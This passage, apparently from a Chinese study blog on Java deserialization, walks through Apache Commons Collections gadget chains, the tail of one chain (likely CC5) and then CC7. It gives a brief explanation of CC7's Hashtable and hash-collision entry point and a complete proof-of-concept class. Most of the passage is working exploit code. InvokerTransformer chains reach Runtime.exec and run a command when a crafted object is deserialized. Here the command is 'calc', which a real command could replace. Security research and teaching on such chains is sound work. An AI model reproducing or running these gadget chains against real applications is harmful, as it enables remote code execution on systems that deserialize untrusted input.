new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

//创建InvocationHandler
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "123");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new ConstantTransformer(1));

Class c = BadAttributeValueExpException.class;
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

//serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

CC7

image-20240404233522172

入口点利用了HashTable通过readObject中调用reconstitutionPut,然后又调用了equals,然后找到了AbstractMapDecorator类中的equals方法中调用了get方法。

然后在equals中存在一个哈希碰撞,比较罕见,这里就不展开来研究了,可以参考fakesoul师傅写的文章:

https://xz.aliyun.com/t/12207#toc-10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
public static void main(String[] args) throws NoSuchFieldException,
IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = new Transformer[]{new
ConstantTransformer(2)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new
ChainedTransformer(fakeformers);
Map innerMap1 = new HashMap();
innerMap1.put("pP",1);
Map innerMap2 = new HashMap();
innerMap2.put("oo",1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("pP");
Class clazz = ChainedTransformer.class;
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}